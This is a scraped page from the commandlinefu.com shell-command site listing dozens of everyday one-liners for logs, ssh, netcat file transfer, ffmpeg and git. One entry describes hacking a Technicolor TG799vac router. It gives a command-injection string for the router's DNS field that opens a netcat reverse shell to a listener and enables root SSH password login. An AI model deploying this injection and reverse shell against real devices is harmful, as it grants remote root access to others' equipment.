All commands sorted by votes

All commands (14,187)

sorted by

concatenate compressed and uncompressed logs

This command allows you to stream your log files, including gziped files, into one stream which can be piped to awk or some other command for analysis. Note: if your version of 'find' supports it, use: find /var/log/apache2 -name 'access.log*gz' -exec zcat {} + -or -name 'access.log*' -exec cat {} +
This is sample output - yours may be different.
0

find /var/log/apache2 -name 'access.log*gz' -exec zcat {} \; -or -name 'access.log*' -exec cat {} \;

recursiverse · 2010-06-19 08:35:12 3
Perl One Liner to Generate a Random IP Address
This is sample output - yours may be different.
0

perl -le '$,=".";print map int rand 256,1..4'

depesz · 2011-01-16 16:56:44 3
Join lines split with backslash at the end

Show Sample Output
This is sample output - yours may be different.
```
# tr -d '\\' <<END | tr -d '\n'
Hello \\
world!
END
>> Hello world!

or 

echo 'scale=70; 127/131' | bc | tr -d '\\' | tr -d '\n'
.9694656488549618320610687022900763358778625954198473282442748091603053
```
0

tr -d '\\' | tr -d '\n'

tongrider · 2011-10-13 17:40:02 7
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"
This is sample output - yours may be different.
0

cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

unixmonkey37839 · 2012-07-18 04:41:54 12
Change my shell to zsh
This is sample output - yours may be different.
0

sudo usermod -s `which zsh` `whoami`

frankowp · 2012-09-11 21:58:01 8
netcat - send tar archive remotely (sending side)

Tar's up $DIR locally (w/bzip2) and sends remotely to $HOST:$PORT where netcat listens (using openbsd netcat). Start up receiving side command first, then execute this.
This is sample output - yours may be different.
0

tar -cjf - $DIR | nc $HOST $PORT

taintedkernel · 2012-11-13 16:44:26 5
find the number of files, date masked

RU: Найдет число файлов в папке по данной маске в цикле по дням месяца
This is sample output - yours may be different.
0

for i in {1..31}; do ls -1 *${YYYY}${MM}`printf "%02d" $i`* | wc -l; done

Paulus · 2013-07-26 07:08:04 8
Chrome, toggle default CSS style sheet

A very simple command to toggle Chrome?s default style sheet. It uses the test command to see if the "Custom.css.off" file exists, if so, it will become "Custom.css", and if not, "Custom.css" is moved to "Custom.css.off" Thus, swapping. This is accomplished with "&&" and "||"
This is sample output - yours may be different.
0

CSS=$HOME/.config/google-chrome/Default/User\ StyleSheets/Custom.css sh -c 'test -f "$CSS.off" && mv "$CSS.off" "$CSS" || mv "$CSS" "$CSS.off"'

Romero · 2013-10-06 00:38:00 7
Remove .sh file extension for files in current directory

The 'rename' command with the first argument as "'s/\.//'" and the second argument as "" will remove the specified extension from the filenames.
This is sample output - yours may be different.
0

rename 's/\.sh//' ./*

abhikeny · 2014-04-02 16:33:25 6
A function to find a file in the pwd downwards

A simple bash function to the find command. I use this much more than find itself. Show Sample Output
This is sample output - yours may be different.
```
$ fn resume
./Documents/2013/My Resume 2014.pdf
```
0

fn() { find . -iname "*$1*" -print; }

suprjami · 2014-07-15 05:30:59 8
Alias for git merge

Merge remote into local of current branch. Show Sample Output
This is sample output - yours may be different.
```
Merge complete or something.
```
0

alias gm="git merge"

taystack · 2015-02-26 23:42:08 10
Reset the favorite-scopes on the Ubuntu Phone

To fix this bug: https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1389698
This is sample output - yours may be different.
0

gsettings reset com.canonical.Unity.Dash favorite-scopes

bugmenot · 2016-02-07 17:50:19 12
Check executable shared library usage
This is sample output - yours may be different.
0

ldd `which executable_program`

z3l3man_zn · 2016-08-17 03:49:16 14
crop video using ffmpeg
This is sample output - yours may be different.
0

ffmpeg -i my-demo-video.avi -filter:v "crop=820:750:200:0" -qscale 0 my-demo-video_cropped.avi

ceddi · 2016-10-17 19:03:20 20
Empty a file with better compatibility

Same as `>`, except that the file is truncated to zero length if it exists, even if CLOBBER is unset. This works whatever your shell is and whatever your OS is. The most upvoted answer does not work with ZSH by default. The truncate version does not work on MacOS (and probably others).
This is sample output - yours may be different.
0

:>! filename

_who · 2017-04-21 15:51:01 22
Hacking the Technicolor TG799vac (and unlocking features for openwrt)

Find more info about this hack on my github https://github.com/wuseman/TG799VAC-XTREME-17.2-MINT - Setup a netcat listener 'nc -lvvp 1337' and then from dns field on your technicolor router run the command below and turn dns ON and wait for the magic.. Show Sample Output
This is sample output - yours may be different.
```
https://raw.githubusercontent.com/wuseman/TG799VAC-XTREME-17.2-MINT/master/files/short-version.gif
```
0

::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit

wuseman1 · 2018-11-12 02:02:43 338
ifrename

rename a network interface e.g. make eth0 eth1 or vice versa the interface needs to be down -> "/sbin/ifconfig oldname down"
This is sample output - yours may be different.
0

busybox nameif newname $(</sys/class/net/oldname/address)

patrick2000 · 2010-05-15 10:24:57 7
A bash function to show the files most recently modified in the named (or current) directory

Returns the most recently modified file in the current (or specified) directory. You can also get the oldest file, via: ls -t1 $* | tail-1 ;
This is sample output - yours may be different.
0

ls -t1 $* | head -1 ;

darkhorse9933 · 2012-02-10 22:13:24 6
Realtime lines per second in a log file

Realtime lines per second in a log file using python ... identical to perl version, except python is much better :) Show Sample Output
This is sample output - yours may be different.
```
27
49
36
36
29
33
33
32
43
31
40
35
43
39
37
38
28
34
31
48
46
37
35
```
0

tail -F /var/log/nginx/access.log | python -c 'exec("import sys,time\nl=0\ne=int(time.time())\nfor line in sys.stdin:\n\tt = int(time.time())\n\tl += 1\n\tif t > e:\n\t\te = t\n\t\tprint l\n\t\tl = 0")'

pykler · 2012-05-15 21:56:46 4
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"
This is sample output - yours may be different.
0

cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

unixmonkey37839 · 2012-07-18 04:41:55 6
server's host key is not cached in the registry
This is sample output - yours may be different.
0

plink -agent gist.github.com

evandrix · 2012-09-12 00:22:39 4
netcat - receive tar archive remotely

Receives bzip'd tar archive via netcat (openbsd nc) and stores locally. Displays size with pv. Start this receiver first, then the sender.
This is sample output - yours may be different.
0

nc -l $PORT | pv -b > archive.tar.bz2

taintedkernel · 2012-11-13 16:47:45 4
change file format at one time
This is sample output - yours may be different.
0

find $(YourPATH) -type f -exec dos2unix '{}' \;

chenhow1985 · 2013-07-26 09:07:35 7
print all available make targets
This is sample output - yours may be different.
0

make --print-data-base --dry-run | awk -F':' '/^[a-zA-Z0-9][^$#\/\t=]*:([^=]|$)/ {split($1,A,/ /);for(i in A)print A[i]}'

grapsus · 2013-10-07 12:39:25 6
List members of a group
This is sample output - yours may be different.
0

dsquery group -samid "Group_SAM_Account_Name" | dsget group -members -expand

shawn_abdushakur · 2014-01-10 15:04:54 6
‹ First < 459 460 461 462 463 > Last ›

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands

Check These Out

Phrack 66 is out, but the .tar.gz is not there yet on phrack.org's website

Nice reading in the morning on the way to work, but sadly the .tar.gz for the whole issue 66 is not on phrack's website yet. So use wget to download.

check open ports without netstat or lsof

Compare an archive with filesystem

and you quickly know the files you changed

rename a file to its md5sum

Create a video screencast (capture screen) of screen portion, with audio (the audio you hear, not your mic)

Errors in output don't matter. Stop recording: ctrl-c. Result playable with Flash too. IMPORTANT: Find a Pulse Audio device to capture from: pactl list | grep -A2 'Source #' | grep 'Name: ' | cut -d" " -f2

Find usb device in realtime

Using this command you can track a moment when usb device was attached.

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

defragment files

Thanks to flatcap for optimizing this command. This command takes advantage of the ext4 filesystem's resistance to fragmentation. By using this command, files that were previously fragmented will be copied / deleted / pasted essentially giving the filesystem another chance at saving the file contiguously. ( unlike FAT / NTFS, the *nix filesystem always try to save a file without fragmenting it ) My command only effects the home directory and only those files with your R/W (read / write ) permissions. There are two issues with this command: 1. it really won't help, it works, but linux doesn't suffer much (if any ) fragmentation and even fragmented files have fast I/O 2. it doesn't discriminate between fragmented and non-fragmented files, so a large ~/ directory with no fragments will take almost as long as an equally sized fragmented ~/ directory The benefits i managed to work into the command: 1. it only defragments files under 16mb, because a large file with fragments isn't as noticeable as a small file that's fragmented, and copy/ delete/ paste of large files would take too long 2. it gives a nice countdown in the terminal so you know how far how much progress is being made and just like other defragmenters you can stop at any time ( use ctrl+c ) 3. fast! i can defrag my ~/ directory in 11 seconds thanks to the ramdrive powering the command's temporary storage bottom line: 1. its only an experiment, safe ( i've used it several times for testing ), but probably not very effective ( unless you somehow have a fragmentation problem on linux ). might be a placebo for recent windows converts looking for a defrag utility on linux and won't accept no for an answer 2. it's my first commandlinefu command

Get the IP of the host your coming from when logged in remotely

Even faster without the need for cut... :)

Swap a file or dir with quick resotre

This lets you replace a file or directory and quickly revert if something goes wrong. For example, the current version of a website's files are in public_html. Put a new version of the site in public_html~ and execute the command. The names are swapped. If anything goes wrong, execute it again (up arrow or !!).

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

» all commands
» commands with 3 up-votes (commandlinefu3)
» commands with 10 up-votes (commandlinefu10)

All commands (14,187) the last day the last week the last month all time sorted by date votes

What's this?

Check These Out

Stay in the loop…

All commands (14,187)

sorted by